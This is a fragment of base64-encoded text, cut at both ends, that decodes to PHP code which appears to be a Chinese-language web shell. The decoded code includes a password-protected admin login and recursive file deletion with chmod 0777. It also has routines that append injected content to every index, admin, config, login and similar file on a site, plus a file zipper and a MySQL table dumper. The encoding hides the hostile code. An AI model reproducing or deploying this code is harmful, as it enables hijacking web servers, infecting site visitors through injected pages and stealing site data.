JyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTFweDsgZm9udC1mYW1pbHk6IFZlcmRhbmE7IGNvbG9yOjAwMDAwMCI+yuTI68Pcwus6IDwvc3Bhbj48aW5wdXQgbmFtZT0iYWRtaW5wYXNzIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMjAiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG8iIHZhbHVlPSJsb2dpbiI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0itcfCvSI+DQoJPC90ZD4NCiAgPC90cj4NCiAgPC9mb3JtPg0KICA8L3RhYmxlPg0KDQo8P3BocA0KCQlleGl0Ow0KCX0vL2VuZCBsb2dpbnBhZ2UoKQ0KDQoJLy8g0rPD5rX3ytTQxc+iDQoJZnVuY3Rpb24gZGVidWdpbmZvKCkgew0KCQlnbG9iYWwgJHN0YXJ0dGltZTsNCgkJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCgkJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsNCgkJZWNobyAiUHJvY2Vzc2VkIGluICR0b3RhbHRpbWUgc2Vjb25kKHMpIjsNCgl9DQoNCgkvLyDIpbX016rS5dfWt/sNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJiRhcnJheSkgew0KCQl3aGlsZShsaXN0KCRrZXksJHZhcikgPSBlYWNoKCRhcnJheSkpIHsNCgkJCWlmICgka2V5ICE9ICdhcmdjJyAmJiAka2V5ICE9ICdhcmd2JyAmJiAoc3RydG91cHBlcigka2V5KSAhPSAka2V5IHx8ICcnLmludHZhbCgka2V5KSA9PSAiJGtleSIpKSB7DQoJCQkJaWYgKGlzX3N0cmluZygkdmFyKSkgew0KCQkJCQkkYXJyYXlbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhcik7DQoJCQkJfQ0KCQkJCWlmIChpc19hcnJheSgkdmFyKSkgIHsNCgkJCQkJJGFycmF5WyRrZXldID0gc3RyaXBzbGFzaGVzX2FycmF5KCR2YXIpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQlyZXR1cm4gJGFycmF5Ow0KCX0NCg0KCS8vIMm+s/3Ev8K8DQoJZnVuY3Rpb24gZGVsdHJlZSgkZGVsZGlyKSB7DQoJCSRteWRpcj1AZGlyKCRkZWxkaXIpOwkNCgkJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsgCQkNCgkJCWlmKChpc19kaXIoIiRkZWxkaXIvJGZpbGUiKSkgQU5EICgkZmlsZSE9Ii4iKSBBTkQgKCRmaWxlIT0iLi4iKSkgeyANCgkJCQlAY2htb2QoIiRkZWxkaXIvJGZpbGUiLDA3NzcpOw0KCQkJCWRlbHRyZWUoIiRkZWxkaXIvJGZpbGUiKTsgDQoJCQl9DQoJCQlpZiAoaXNfZmlsZSgiJGRlbGRpci8kZmlsZSIpKSB7DQoJCQkJQGNobW9kKCIkZGVsZGlyLyRmaWxlIiwwNzc3KTsNCgkJCQlAdW5saW5rKCIkZGVsZGlyLyRmaWxlIik7DQoJCQl9DQoJCX0gDQoJCSRteWRpci0+Y2xvc2UoKTsgDQoJCUBjaG1vZCgiJGRlbGRpciIsMDc3Nyk7DQoJCXJldHVybiAoQHJtZGlyKCRkZWxkaXIpKSA/IDEgOiAwOw0KCX0gDQoNCgkvLyDF0LbPtsHQtMfpv/YNCglmdW5jdGlvbiBkaXJfd3JpdGVhYmxlKCRkaXIpIHsNCgkJaWYgKCFpc19kaXIoJGRpcikpIHsNCgkJCUBta2RpcigkZGlyLCAwNzc3KTsNCgkJfQ0KCQlpZihpc19kaXIoJGRpcikpIHsNCgkJCWlmICgkZnAgPSBAZm9wZW4oIiRkaXIvdGVzdC50eHQiLCAndycpKSB7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJCUB1bmxpbmsoIiRkaXIvdGVzdC50eHQiKTsNCgkJCQkkd3JpdGVhYmxlID0gMTsNCgkJCX0gZWxzZSB7DQoJCQkJJHdyaXRlYWJsZSA9IDA7DQoJCQl9DQoJCX0NCgkJcmV0dXJuICR3cml0ZWFibGU7DQoJfQ0KDQoJLy8gse248dDQvOS1xLGzvrDJq8zmu7sNCglmdW5jdGlvbiBnZXRyb3diZygpIHsNCgkJZ2xvYmFsICRiZ2NvdW50ZXI7DQoJCWlmICgkYmdjb3VudGVyKyslMj09MCkgew0KCQkJcmV0dXJuICJmaXJzdGFsdCI7DQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gInNlY29uZGFsdCI7DQoJCX0NCgl9DQoNCgkvLyC78cihtbHHsLXEzsS8/s+1zbPCt762DQoJZnVuY3Rpb24gZ2V0UGF0aCgkbWFpbnBhdGgsICRyZWxhdGl2ZXBhdGgpIHsNCgkJZ2xvYmFsICRkaXI7DQoJCSRtYWlucGF0aF9pbmZvICAgICAgICAgICA9IGV4cGxvZGUoJy8nLCAkbWFpbnBhdGgpOw0KCQkkcmVsYXRpdmVwYXRoX2luZm8gICAgICAgPSBleHBsb2RlKCcvJywgJHJlbGF0aXZlcGF0aCk7DQoJCSRyZWxhdGl2ZXBhdGhfaW5mb19jb3VudCA9IGNvdW50KCRyZWxhdGl2ZXBhdGhfaW5mbyk7DQoJCWZvciAoJGk9MDsgJGk8JHJlbGF0aXZlcGF0aF9pbmZvX2NvdW50OyAkaSsrKSB7DQoJCQlpZiAoJHJlbGF0aXZlcGF0aF9pbmZvWyRpXSA9PSAnLicgfHwgJHJlbGF0aXZlcGF0aF9pbmZvWyRpXSA9PSAnJykgY29udGludWU7DQoJCQlpZiAoJHJlbGF0aXZlcGF0aF9pbmZvWyRpXSA9PSAnLi4nKSB7DQoJCQkJJG1haW5wYXRoX2luZm9fY291bnQgPSBjb3VudCgkbWFpbnBhdGhfaW5mbyk7DQoJCQkJdW5zZXQoJG1haW5wYXRoX2luZm9bJG1haW5wYXRoX2luZm9fY291bnQtMV0pOw0KCQkJCWNvbnRpbnVlOw0KCQkJfQ0KCQkJJG1haW5wYXRoX2luZm9bY291bnQoJG1haW5wYXRoX2luZm8pXSA9ICRyZWxhdGl2ZXBhdGhfaW5mb1skaV07DQoJCX0gLy9lbmQgZm9yDQoJCXJldHVybiBpbXBsb2RlKCcvJywgJG1haW5wYXRoX2luZm8pOw0KCX0NCmZ1bmN0aW9uIGRpcnRyZWUoJHBhdGgsJG1tKQ0KIHsgDQoJJGQgPUBkaXIoIiRwYXRoIik7DQoJd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gJGQtPnJlYWQoKSkpIHsNCgkJaWYoJGVudHJ5ID09ICIuIiB8fCAkZW50cnkgPT0gIi4uIikgY29udGludWU7DQoJCSRmaWxlPSRkLT5wYXRoLiIvIiAuJGVudHJ5Ow0KCQlpZihAaXNfZGlyKCRmaWxlKSkgDQoJCXsNCgkJZGlydHJlZSgkZmlsZSwkbW0pOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJCWlmKEBlcmVnKCJkZWZhdWx0XC58aW5kZXhcLnxhZG1pblwufGJic1wufGNvbm5cLnxjb25maWdcLnxyZWdcLnxoZWxwXC58dXBmaWxlXC58dXBsb2FkXC58Y2FydFwufGNsYXNzXC58bG9naW5cLnxkaXlcLnxub1wufG9rXC58ZGVsXC58c3FsXC58dXNlclwufHViYlwufGZ0cFwufGFzcFwufHRvcFwufG5ld1wufG9wZW5cLnxuYW1lXC58ZW1haWxcLnxpbWdcLnxpbWFnZXNcLnx3ZWJcLnxibG9nXC58c2F2ZVwufGRhdGFcLnxhZGRcLnxlZGl0XC58bWFpblwufGZvcm1cLnxnYW1lXC58YWJvdXRcLnxtYW5hZ2VyXC58Ym9va1wufGJ0XC58bXAzXC58dm9kXC58ZXJyb3JcLnxjb3B5XC58bW92ZVwufGRvd25cLnxzeXN0ZW1cLnxsb2dvXC58UVFcLnw1MjBcLnxuZXd1cFwufG15dXBcLnxwbGF5XC58c2hvd1wufHZpZXdcLnxpcFwufGVycjQwNFwufHNlbmRcLnxmb290XC58Y2hhclwufGluZm9cLnxsaXN0XC58c2hvcFwufGVyclwufG5jXC58YWRcLnxmbGFzaFwufHRleHRcLnxhZG1pbl91cGZpbGVcLnxhZG1pbl91cGxvYWRcLnx1cGZpbGVfbG9hZFwufHVwZmlsZV9zb2Z0XC58dXBmaWxlX3Bob3RvXC58dXBmaWxlX3NvZnRwaWNcLnx2aXBcLnw1MDVcLnx0YWdcLnxzZWFyY2hcLnxsaXN0XC58Y29tbW9uXC58c2hvd1wufGNvdW50XC58ZG93bmxvYWRcLnxwaHBcLiIsJGZpbGUpKSB7DQoJCQkJJG1tPXN0cmlwY3NsYXNoZXMoIHRyaW0oICRtbSApICk7Ly+3wNa5taXLq9L9usWxu7zTyc/QsbjcDQoJCQkJJGhhbmRsZSA9IEBmb3BlbiAoIiRmaWxlIiwgImEiKTsNCgkJCQlAZndyaXRlKCRoYW5kbGUsICIkbW0iKTsNCgkJCQlAZmNsb3NlKCRoYW5kbGUpOw0KCQkJCWVjaG8gItLRudLC7c7EvP46JGZpbGU8YnI+IjsNCgkJCQl9DQoJCX0NCgl9DQoJJGQtPmNsb3NlKCk7DQp9DQoJLy8gvOyy6VBIUMXk1sOyzsr9DQoJZnVuY3Rpb24gZ2V0cGhwY2ZnKCR2YXJuYW1lKSB7DQoJCXN3aXRjaCgkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpKSB7DQoJCQljYXNlIDA6DQoJCQlyZXR1cm4gIk5vIjsNCgkJCWJyZWFrOw0KCQkJY2FzZSAxOg0KCQkJcmV0dXJuICJZZXMiOw0KCQkJYnJlYWs7DQoJCQlkZWZhdWx0Og0KCQkJcmV0dXJuICRyZXN1bHQ7DQoJCQlicmVhazsNCgkJfQ0KCX0NCg0KCS8vILzssum6r8r9x+m/9g0KCWZ1bmN0aW9uIGdldGZ1bigkZnVuTmFtZSkgew0KCQlyZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICJZZXMiIDogIk5vIjsNCgl9DQoNCgkvLyDRucv1tPKw/MDgDQoJY2xhc3MgUEhQWmlwew0KCXZhciAkb3V0PScnOw0KCQlmdW5jdGlvbiBQSFBaaXAoJGRpcikJew0KICAgIAkJaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkJew0KCQkJCSRjdXJkaXIgPSBnZXRjd2QoKTsNCgkJCQlpZiAoaXNfYXJyYXkoJGRpcikpICRmaWxlbGlzdCA9ICRkaXI7DQoJCSAgICAgICAgZWxzZXsNCgkJCSAgICAgICAgJGZpbGVsaXN0PSR0aGlzIC0+IEdldEZpbGVMaXN0KCRkaXIpOy8vzsS8/sHQse0NCgkJCQkgICAgZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGs9PiR2KSAkZmlsZWxpc3RbXT1zdWJzdHIoJHYsc3RybGVuKCRkaXIpKzEpOw0KCSAgICAgICAgICAgIH0NCgkJICAgICAgICBpZiAoKCFlbXB0eSgkZGlyKSkmJighaXNfYXJyYXkoJGRpcikpJiYoZmlsZV9leGlzdHMoJGRpcikpKSBjaGRpcigkZGlyKTsNCgkJCQllbHNlIGNoZGlyKCRjdXJkaXIpOw0KCQkJCWlmIChjb3VudCgkZmlsZWxpc3QpPjApew0KCQkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkZmlsZW5hbWUpew0KCQkJCQkJaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSl7DQoJCQkJCQkJJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgInIiKTsNCgkJCQkJCQkkY29udGVudCA9IEBmcmVhZCAoJGZkLCBmaWxlc2l6ZSAoJGZpbGVuYW1lKSk7DQoJCQkJCQkJZmNsb3NlICgkZmQpOw0KCQkJCQkJICAgIGlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsNCgkJCQkJCQkkdGhpcyAtPiBhZGRGaWxlKCRjb250ZW50LCAkZmlsZW5hbWUpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCSR0aGlzLT5vdXQgPSAkdGhpcyAtPiBmaWxlKCk7DQoJCQkJCWNoZGlyKCRjdXJkaXIpOw0KCQkJCX0NCgkJCQlyZXR1cm4gMTsNCgkJCX0NCgkJCWVsc2UgcmV0dXJuIDA7DQoJCX0NCg0KCQkvLyC78bXD1ri2qMS/wrzOxLz+wdCx7Q0KCQlmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsNCgkJCXN0YXRpYyAkYTsNCgkJCWlmIChpc19kaXIoJGRpcikpIHsNCgkJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgew0KCQkJICAgCQl3aGlsZSAoKCRmaWxlID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpIHsNCgkJCQkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpew0KICAgICAgICAgICAgCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7DQogICAgICAgICAgICAJCQkJaWYoaXNfZGlyKCRmKSkgJHRoaXMtPkdldEZpbGVMaXN0KCRmKTsNCgkJCQkJCQkkYVtdPSRmOw0KCSAgICAgICAgCQkJfQ0KCQkJCQl9DQogICAgIAkJCQljbG9zZWRpcigkZGgpOw0KICAgIAkJCX0NCgkJCX0NCgkJCXJldHVybiAkYTsNCgkJfQ0KDQoJCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsNCgkgICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KCQl2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7DQoJICAgIHZhciAkb2xkX29mZnNldCAgID0gMDsNCg0KCQlmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgew0KCSAgICAgICAgJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQoJCSAgICBpZiAoJHRpbWVhcnJheVsneWVhciddIDwgMTk4MCkgew0KCQkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQogICAgICAgIAkJJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCgkgICAgICAgIAkkdGltZWFycmF5WydtZGF5J10gICAgPSAxOw0KCQkgICAgCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQoJCQkJJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCiAgICAgICAgCQkkdGltZWFycmF5WydzZWNvbmRzJ10gPSAwOw0KCSAgICAgICAgfSAvLyBlbmQgaWYNCgkJICAgIHJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQoJCQkgICAgICAgICgkdGltZWFycmF5Wydob3VycyddIDw8IDExKSB8ICgkdGltZWFycmF5WydtaW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJheVsnc2Vjb25kcyddID4+IDEpOw0KCSAgICB9DQoNCgkJZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkgew0KCSAgICAgICAgJG5hbWUgICAgID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoNCgkJICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7DQoJICAgICAgICAkaGV4ZHRpbWUgPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQoJCSAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdDQoJCQkgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoJCQkJICAgICAgLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KCSAgICAgICAgZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsNCgkJICAgICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KCQkJJGZyICAgLj0gIlx4MTRceDAwIjsNCgkgICAgICAgICRmciAgIC49ICJceDAwXHgwMCI7DQoJCSAgICAkZnIgICAuPSAiXHgwOFx4MDAiOw0KCQkJJGZyICAgLj0gJGhleGR0aW1lOw0KDQoJICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQoJCSAgICAkY3JjICAgICA9IGNyYzMyKCRkYXRhKTsNCgkJCSR6ZGF0YSAgID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJICAgICAgICAkY19sZW4gICA9IHN0cmxlbigkemRhdGEpOw0KCQkgICAgJHpkYXRhICAgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCQkkZnIgICAgICAuPSBwYWNrKCdWJywgJGNyYyk7DQoJICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCQkkZnIgICAgICAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2JywgMCk7DQoJCSAgICAkZnIgICAgICAuPSAkbmFtZTsNCg0KCQkJJGZyIC49ICR6ZGF0YTsNCg0KCSAgICAgICAgJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJICAgICRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KDQoJICAgICAgICAkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoJCSAgICAkbmV3X29mZnNldCAgICAgICAgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRoaXMtPmRhdGFzZWMpKTsNCg0KCQkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KCSAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7DQoJCSAgICAkY2RyZWMgLj0gIlx4MTRceDAwIjsNCgkJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCSAgICAgICAgJGNkcmVjIC49ICJceDA4XHgwMCI7DQoJCSAgICAkY2RyZWMgLj0gJGhleGR0aW1lOw0KCQkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkgICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KCQkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQoJICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJICAgICRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsNCgkJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KCSAgICAgICAgJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0Ow0KCQkgICAgJGNkcmVjIC49ICRuYW1lOw0KDQoJCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KCSAgICB9DQoNCgkJZnVuY3Rpb24gZmlsZSgpIHsNCgkJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoJICAgICAgICAkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNCgkJICAgIHJldHVybg0KCQkJICAgICRkYXRhIC4NCgkJCQkkY3RybGRpciAuDQoJICAgICAgICAgICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4NCgkJICAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLg0KCQkJICAgIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuDQoJCQkJcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4NCgkgICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRkYXRhKSkgLg0KCQkgICAgICAgICJceDAwXHgwMCI7DQoJICAgIH0NCgl9DQpmdW5jdGlvbiBkaXJ0KCRwYXRoaCwkbW1tKQ0KIHsgDQoJJGQgPUBkaXIoIiRwYXRoaCIpOw0KCXdoaWxlIChmYWxzZSAhPT0gKCRlbnRyeSA9ICRkLT5yZWFkKCkpKSB7DQoJCWlmKCRlbnRyeSA9PSAiLiIgfHwgJGVudHJ5ID09ICIuLiIpIGNvbnRpbnVlOw0KCQkkZmlsZT0kZC0+cGF0aC4iLyIgLiRlbnRyeTsNCgkJaWYoQGlzX2RpcigkZmlsZSkpIA0KCQl7DQoJCWRpcnRyZWUoJGZpbGUsJG1tbSk7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkJaWYoQGVyZWcoImNvbmZpZ1wufGNvbm5cLiIsJGZpbGUpKSB7DQoJCQkJJG1tbT1zdHJpcGNzbGFzaGVzKCB0cmltKCAkbW1tICkgKTsNCgkJCQkkaGFuZGxlID0gQGZvcGVuICgiJGZpbGUiLCAiYSIpOw0KCQkJCUBmd3JpdGUoJGhhbmRsZSwgIiRtbW0iKTsNCgkJCQlAZmNsb3NlKCRoYW5kbGUpOw0KCQkJCX0NCgkJfQ0KCX0NCgkkZC0+Y2xvc2UoKTsNCn0NCgkvLyCxuLfdyv2+3b/iDQoJZnVuY3Rpb24gc3FsZHVtcHRhYmxlKCR0YWJsZSwgJGZwPTApIHsNCgkJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOw0KCQkkdGFibGVkdW1wIC49ICJDUkVBVEUgVEFCTEUgJHRhYmxlIChcbiI7DQoNCgkJJGZpcnN0ZmllbGQ9MTsNCg0KCQkkZmllbGRzID0gbXlzcWxfcXVlcnkoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7DQoJCXdoaWxlICgkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSgkZmllbGRzKSkgew0KCQkJaWYgKCEkZmlyc3RmaWVsZCkgew0KCQkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoJCQl9IGVsc2Ugew0KCQkJCSRmaXJzdGZpZWxkPTA7DQoJCQl9DQoJCQkkdGFibGVkdW1wIC49ICIgICAkZmllbGRbRmllbGRdICRmaWVsZFtUeXBlXSI7DQoJCQlpZiAoIWVtcHR5KCRmaWVsZFsiRGVmYXVsdCJdKSkgew0KCQkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsNCgkJCX0NCgkJCWlmICgkZmllbGRbJ051bGwnXSAhPSAiWUVTIikgew0KCQkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7DQoJCQl9DQoJCQlpZiAoJGZpZWxkWydFeHRyYSddICE9ICIiKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOw0KCQkJfQ0KCQl9DQoJCW15c3FsX2ZyZWVfcmVzdWx0KCRmaWVsZHMpOw0KCQ0KCQkka2V5cyA9IG15c3FsX3F1ZXJ5KCJTSE9XIEtFWVMgRlJPTSAkdGFibGUiKTsNCgkJd2hpbGUgKCRrZXkgPSBteXNxbF9mZXRjaF9hcnJheSgka2V5cykpIHsNCgkJCSRrbmFtZT0ka2V5WydLZXlfbmFtZSddOw0KCQkJaWYgKCRrbmFtZSAhPSAiUFJJTUFSWSIgYW5kICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7DQoJCQkJJGtuYW1lPSJVTklRVUV8JGtuYW1lIjsNCgkJCX0NCgkJCWlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsNCgkJCQkkaW5kZXhbJGtuYW1lXSA9IGFycmF5KCk7DQoJCQl9DQoJCQkkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsNCgkJfQ0KCQlteXNxbF9mcmVlX3Jlc3VsdCgka2V5cyk7DQoNCgkJd2hpbGUobGlzdCgka25hbWUsICRjb2x1bW5zKSA9IEBlYWNoKCRpbmRleCkpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoJCQkkY29sbmFtZXM9aW1wbG9kZSgkY29sdW1ucywiLCIpOw0KDQoJCQlpZiAoJGtuYW1lID09ICJQUklNQVJZIikgew0KCQkJCSR0YWJsZWR1bXAgLj0gIiAgIFBSSU1BUlkgS0VZICgkY29sbmFtZXMpIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYgKHN1YnN0cigka25hbWUsMCw2KSA9PSAiVU5JUVVFIikgew0KCQkJCQkka25hbWU9c3Vic3RyKCRrbmFtZSw3KTsNCgkJCQl9DQoJCQkJJHRhYmxlZHVtcCAuPSAiICAgS0VZICRrbmFtZSAoJGNvbG5hbWVzKSI7DQoJCQl9DQoJCX0NCg0KCQkkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7DQoJCWlmICgkZnApIHsNCgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJCX0gZWxzZSB7DQoJCQllY2hvICR0YWJsZWR1bXA7DQoJCX0NCg0KCQkkcm93cyA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICR0YWJsZSIpOw0KCQkkbnVtZmllbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJvd3MpKSB7DQoJCQkkdGFibGVkdW1wID0gIklOU0VSVCBJTlRPICR0YWJsZSBWQUxVRVMoIjsNCg0KCQkJJGZpZWxkY291bnRlcj0tMTsNCgkJCSRmaXJzdGZpZWxkPTE7DQoJCQl3aGlsZSAoKyskZmllbGRjb3VudGVyPCRudW1maWVsZHMpIHsNCgkJCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoJCQkJCSR0YWJsZWR1bXAuPSIsICI7DQoJCQkJfSBlbHNlIHsNCgkJCQkJJGZpcnN0ZmllbGQ9MDsNCgkJCQl9DQoNCgkJCQlpZiAoIWlzc2V0KCRyb3dbJGZpZWxkY291bnRlcl0pKSB7DQoJCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSR0YWJsZWR1bXAgLj0gIiciLm15c3FsX2VzY2FwZV9zdHJpbmcoJHJvd1skZmllbGRjb3VudGVyXSkuIiciOw0KCQkJCX0NCgkJCX0NCg0KCQkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoNCgkJCWlmICgkZnApIHsNCgkJCQlmd3JpdGUoJGZwLCR0YWJsZWR1bXApOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICR0YWJsZWR1bXA7DQoJCQl9DQoJCX0NCgkJbXlzcWxfZnJlZV9yZXN1bHQoJHJvd3MpOw0KCX0NCg0KCWNsYXNzIEZPUk1TIHsNCgkJZnVuY3Rpb24gdGFibGVoZWFkZXIoKSB7DQoJCQllY2hvICI8dGFibGUgd2lkdGg9XCI3NzVcIiBib3JkZXI9XCIwXCIgY2VsbHBhZGRpbmc9XCIzXCIgY2VsbHNwYWNpbmc9XCIxXCIgYmdjb2xvcj1cIiNmZmZmZmZcIj5cbiI7DQoJCX0NCg0KCQlmdW5jdGlvbiBoZWFkZXJmb3JtKCRhcmc9YXJyYXkoKSkgew0KCQkJZ2xvYmFsICRkaXI7DQoJCQlpZiAoJGFyZ1tlbmN0eXBlXSl7DQoJCQkJJGVuY3R5cGU9ImVuY3R5cGU9XCIkYXJnW2VuY3R5cGVdXCIiOw0KCQkJfSBlbHNlIHsNCgkJCQkkZW5jdHlwZT0iIjsNCgkJCX0NCgkJCWlmICghaXNzZXQoJGFyZ1ttZXRob2RdKSkgew0KCQkJCSRhcmdbbWV0aG9kXSA9ICJQT1NUIjsNCgkJCX0NCgkJCWlmICghaXNzZXQoJGFyZ1thY3Rpb25dKSkgew0KCQkJCSRhcmdbYWN0aW9uXSA9ICcnOw0KCQkJfQ0KCQkJZWNobyAiICA8Zm9ybSBhY3Rpb249XCIiLiRhcmdbYWN0aW9uXS4iXCIgbWV0aG9kPVwiIi4kYXJnW21ldGhvZF0uIlwiICRlbmN0eXBlPlxuIjsNCgkJCWVjaG8gIiAgPHRyPlxuIjsNCgkJCWVjaG8gIiAgICA8dGQ+Ii4kYXJnW2NvbnRlbnRdLiI8L3RkPlxuIjsNCgkJCWVjaG8gIiAgPC90cj5cbiI7DQoJCQllY2hvICIgIDwvZm9ybT5cbiI7DQoJCX0NCg0KCQlmdW5jdGlvbiB0ZGhlYWRlcigkdGl0bGUpIHsNCgkJCWdsb2JhbCAkZGlyOw0KCQkJZWNobyAi